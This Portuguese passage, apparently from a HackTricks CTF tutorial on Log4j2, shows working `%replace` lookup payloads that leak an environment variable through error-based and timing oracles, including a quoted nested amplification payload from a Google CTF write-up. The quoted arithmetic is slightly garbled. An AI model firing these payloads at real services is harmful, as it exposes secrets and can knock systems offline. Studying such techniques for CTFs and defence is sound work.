O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
\`\`Abusando desse comportamento, você pode fazer com que o **replace dispare uma exceção se o regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não for encontrada), assim:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
* **Baseado em tempo**
Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da página [**ReDoS**](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada.\
Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` causaria um **timeout** nesse CTF.
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi usado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> Se a flag começar com `flagGuess`, a flag inteira será substituída por 29 `#`-s (usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#`-s resultantes é então substituído por 54 `#`-s**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
>
> Substituir tantos `#`-s acionará o timeout de 10 segundos da aplicação Flask, o que resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não-500)
## Referências
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>